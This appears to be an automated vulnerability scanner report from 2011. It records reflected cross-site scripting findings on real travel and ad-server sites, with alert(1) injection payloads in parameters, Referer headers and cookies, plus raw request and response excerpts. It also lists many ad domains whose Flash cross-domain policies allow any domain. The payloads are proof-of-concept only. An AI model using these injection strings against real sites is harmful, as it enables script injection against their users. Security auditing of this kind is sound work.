The value of the toMonth request parameter is copied into an HTML comment. The payload 9d4b7--><script>alert(1)</script>bbc12be6325 was submitted in the toMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:10:11 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9575 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:10:11 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the toYear request parameter is copied into an HTML comment. The payload c880d--><script>alert(1)</script>e0acc4fd6b7 was submitted in the toYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:23 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9575 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:23 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the pubid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9eea4"%3balert(1)//0a881cfe5b9 was submitted in the pubid parameter. This input was echoed as 9eea4";alert(1)//0a881cfe5b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:54 GMT Server: Apache Set-Cookie: JSESSIONID=424937091139EAD10A8AF0C7310701E7.p0524; Path=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0 SERVICE_HOST: 10.8.5.58 P3P: policyref="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/vfs/pub/drf/p3p/p3p.xml",CP="NOI DSP CURa ADMa DEVa OUR IND UNI COM NAV" Via: 1.1 (Service Gateway) Vary: Accept-Encoding Content-Type: text/javascript;charset=ISO-8859-1 Connection: close Content-Length: 2427
var DrfGlobals = { sid:"bfa7dd53-c988-458c-86df-52443affccb8", // session id pid:"c3919e40-e5b8-49f8-b876-4fed1f31968f9eea4";alert(1)//0a881cfe5b9", // publisher id pti:"default", // page type id src:"none", // source ppi:"eaa76413-f885-4a4e-9fa2-b1caba8ec34b", // page impression id version:"v1.0", cdnLocation:"http://drf-global.com/se ...[SNIP]...
The value of the ns request parameter is copied into the HTML document as plain text between tags. The payload 13916<script>alert(1)</script>131d16d4f4e was submitted in the ns parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22361"-alert(1)-"16a37850c5c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=22361"-alert(1)-"16a37850c5c Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=4329B7D811FB937AEC454AE93204607C; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:21 GMT Connection: close
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload aa46a<script>alert(1)</script>1f4e3095ba was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:03:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3684
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <HTML> <HEAD> <title>404</title> <meta http-equiv=Content-Type content="text/html; ...[SNIP]... <br>We suggest you try one of the links below:http://www.google.com/search?hl=en&q=aa46a<script>alert(1)</script>1f4e3095ba </p> ...[SNIP]...
The value of the UID cookie is copied into the HTML document as plain text between tags. The payload 700d9<script>alert(1)</script>da933ef47aa was submitted in the UID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p108883753 cookie is copied into the HTML document as plain text between tags. The payload dfc14<script>alert(1)</script>6b4829181d5 was submitted in the ar_p108883753 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p109848095 cookie is copied into the HTML document as plain text between tags. The payload 33a3b<script>alert(1)</script>5947cd7d417 was submitted in the ar_p109848095 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p110620504 cookie is copied into the HTML document as plain text between tags. The payload 71ebb<script>alert(1)</script>cbdc459a308 was submitted in the ar_p110620504 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p63514475 cookie is copied into the HTML document as plain text between tags. The payload f07ef<script>alert(1)</script>367a49a45ca was submitted in the ar_p63514475 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p81479006 cookie is copied into the HTML document as plain text between tags. The payload 66202<script>alert(1)</script>d3f1810a83f was submitted in the ar_p81479006 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p82806590 cookie is copied into the HTML document as plain text between tags. The payload bc647<script>alert(1)</script>e4cffefecec was submitted in the ar_p82806590 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p90175839 cookie is copied into the HTML document as plain text between tags. The payload a2c69<script>alert(1)</script>54e7f06ae4f was submitted in the ar_p90175839 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SID cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98d7f"%3balert(1)//3adafe414fa was submitted in the SID cookie. This input was echoed as 98d7f";alert(1)//3adafe414fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the TVLY_GEO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f61f'%3balert(1)//6bcab64e5e3 was submitted in the TVLY_GEO cookie. This input was echoed as 3f61f';alert(1)//6bcab64e5e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the SID cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf501"%3balert(1)//7adedfc3e61 was submitted in the SID cookie. This input was echoed as cf501";alert(1)//7adedfc3e61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the TVLY_GEO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 86264'%3balert(1)//a77be289682 was submitted in the TVLY_GEO cookie. This input was echoed as 86264';alert(1)//a77be289682 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:18 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 178482 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:08:18 2011 --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1 ...[SNIP]... tDeals, function(){ jQuery(document).bind('travelDeals:ready', function(){ new deals.VacationDeals({ cookies: { LastShopCookie : '', PrefLocCookie : '', geoCookie : '|||||86264';alert(1)//a77be289682' } }); }); });
var dDeals = ["http://i.travelpn.com/js/hp-dashing-deal.js"]; jQuery.tvly.loadScript(dDeals, function(){ jQuery(document).bind('DealsOfTheDay:ready', fu ...[SNIP]...
The value of the SID cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2139d"%3balert(1)//42f8578f032 was submitted in the SID cookie. This input was echoed as 2139d";alert(1)//42f8578f032 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:57 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 176603 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:08:57 2011 --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!--[if IE]><![endif]--> <html x ...[SNIP]... e",maxRetries:10,sVSTrackUrl:"http://travel.travelocity.com/___waseq.img",terms_link:{url:"http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TERMS_WINDOW,00.html",width:500,height:400},SID:"2139d";alert(1)//42f8578f032",JSID:"",servicetag:"TRAVELOCITY"};Subscriptions.PopupConfig = {urls:{SignUpPopup:"http://www.travelocity.com/subscription-management/submgmt-popup"},height:450}; Subscriptions.SignupConfig.JSID = G ...[SNIP]...
The value of the TVLY_GEO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58978'%3balert(1)//89a7d5f99fb was submitted in the TVLY_GEO cookie. This input was echoed as 58978';alert(1)//89a7d5f99fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the drft cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35267"-alert(1)-"a7305f10e3e was submitted in the drft cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:52:35 GMT Server: Apache Set-Cookie: JSESSIONID=E0293EF4FDC03448F6E9E71AAA07FEC8.p0522; Path=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0 SERVICE_HOST: 10.8.5.56 P3P: policyref="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/vfs/pub/drf/p3p/p3p.xml",CP="NOI DSP CURa ADMa DEVa OUR IND UNI COM NAV" Via: 1.1 (Service Gateway) Vary: Accept-Encoding Content-Type: text/javascript;charset=ISO-8859-1 Connection: close Content-Length: 2429
var DrfGlobals = { sid:"33637923-4b56-4634-b850-17368e8cd43235267"-alert(1)-"a7305f10e3e", // session id pid:"c3919e40-e5b8-49f8-b876-4fed1f31968f", // publisher id pti:"default", // page type id src:"none", // source ppi:"9c640959-323a-4cfe-96b3-8b0f1864ec3a", // page impression ...[SNIP]...
5. Flash cross-domain policypreviousnext There are 65 instances of this issue:
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: a.collective-media.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ad-dc2.adtech.de
Response
HTTP/1.0 200 OK Connection: close Cache-Control: no-cache Content-Type: text/xml Content-Length: 111
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ad.doubleclick.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ad.turn.com
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: private Pragma: private Expires: Sun, 02 Oct 2011 23:53:01 GMT Content-Type: text/xml;charset=UTF-8 Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:53:00 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ads.pointroll.com
Response
HTTP/1.1 200 OK Content-Length: 170 Content-Type: text/xml Last-Modified: Tue, 06 Apr 2010 18:31:31 GMT Accept-Ranges: bytes ETag: "8e43ce60b7d5ca1:1571" Server: Microsoft-IIS/6.0 P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC" Date: Sun, 02 Oct 2011 23:49:38 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: adserver.adtech.de
Response
HTTP/1.0 200 OK Connection: close Cache-Control: no-cache Content-Type: text/xml Content-Length: 111
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: aka-cdn-ns.adtech.de
Response
HTTP/1.0 200 OK Last-Modified: Mon, 04 Apr 2011 13:01:42 GMT Content-Type: text/xml Cache-Control: max-age=498855 Expires: Sat, 08 Oct 2011 18:24:12 GMT Date: Sun, 02 Oct 2011 23:49:57 GMT Content-Length: 111 Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: aperture.displaymarketplace.com
Response
HTTP/1.0 200 OK Content-Length: 268 Content-Type: text/xml Content-Location: http://aperture.displaymarketplace.com/crossdomain.xml Last-Modified: Wed, 06 Jan 2010 19:44:14 GMT Accept-Ranges: bytes ETag: "88db83a088fca1:a94" Server: Microsoft-IIS/6.0 X-Server: D2C.NJ-a.dm.com P3P: CP="NON DEVo PSAo PSDo CONo OUR BUS UNI" X-Powered-By: ASP.NET Expires: Sun, 02 Oct 2011 23:49:39 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sun, 02 Oct 2011 23:49:39 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: b.scorecardresearch.com
Response
HTTP/1.0 200 OK Last-Modified: Thu, 07 Jul 2011 18:29:25 GMT Content-Type: application/xml Expires: Mon, 03 Oct 2011 23:50:07 GMT Date: Sun, 02 Oct 2011 23:50:07 GMT Content-Length: 201 Connection: close Cache-Control: private, no-transform, max-age=86400
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: bcp.crwdcntrl.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: beacon.securestudies.com
Response
HTTP/1.0 200 OK Last-Modified: Wed, 10 Jun 2009 18:02:58 GMT Content-Type: application/xml Expires: Mon, 03 Oct 2011 23:52:41 GMT Date: Sun, 02 Oct 2011 23:52:41 GMT Content-Length: 201 Connection: close Cache-Control: private, no-transform, max-age=86400
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: c.betrad.com
Response
HTTP/1.0 200 OK Server: Apache ETag: "623d3896f3768c2bad5e01980f958d0a:1298927864" Last-Modified: Mon, 28 Feb 2011 21:17:44 GMT Accept-Ranges: bytes Content-Length: 204 Content-Type: application/xml Date: Sun, 02 Oct 2011 23:51:36 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cacheserve.williamhill.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cas.criteo.com
Response
HTTP/1.1 200 OK Server: nginx Cache-Control: max-age=31104000 Cache-Control: public Content-Type: text/xml Date: Sun, 02 Oct 2011 23:49:33 GMT Expires: Wed, 26 Sep 2012 23:49:33 GMT Accept-Ranges: bytes Connection: close Last-Modified: Wed, 19 Sep 2007 08:50:25 GMT Content-Length: 360
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <site-control permitted-cross-domain-policies="all" />
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cdn.flashtalking.com
Response
HTTP/1.0 200 OK x-amz-id-2: x91gS7A+mOoQBJMpsSvpSjs8Kl4JSjw9nBBYAVCZHtBqqxph0+xgdMahmBkl+KZl x-amz-request-id: DD2B4B27E613A7C4 Last-Modified: Mon, 22 Aug 2011 09:48:30 GMT ETag: "86f55de532e6feae15623e7a599dfb87" Content-Type: application/xml Content-Length: 322 Server: AmazonS3 Date: Sun, 02 Oct 2011 23:53:31 GMT Connection: close
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <!-- Policy file for http://video.flashtalking.com --> <cross-domain-policy>
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cdn.turn.com
Response
HTTP/1.0 200 OK Server: Apache-Coyote/1.1 P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Pragma: private Content-Type: text/xml;charset=UTF-8 Cache-Control: private, max-age=0 Expires: Sun, 02 Oct 2011 23:53:04 GMT Date: Sun, 02 Oct 2011 23:53:04 GMT Content-Length: 100 Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: d.tradex.openx.com
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:52:00 GMT Server: Apache Last-Modified: Tue, 21 Dec 2010 00:56:43 GMT ETag: "88c2d-c7-497e11c2d28c0" Accept-Ranges: bytes Content-Length: 199 Connection: close Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: dev.virtualearth.net
Response
HTTP/1.1 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Last-Modified: Sun, 18 Sep 2011 00:40:53 GMT Accept-Ranges: bytes ETag: "63203e9f9b75cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close Content-Length: 277
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ecn.t0.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Content-Type: text/xml Accept-Ranges: bytes ETag: "8dd9956cd874cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 207 Age: 66083 Date: Mon, 03 Oct 2011 01:02:36 GMT Last-Modified: Sat, 17 Sep 2011 01:23:37 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ecn.t1.tiles.virtualearth.net
Response
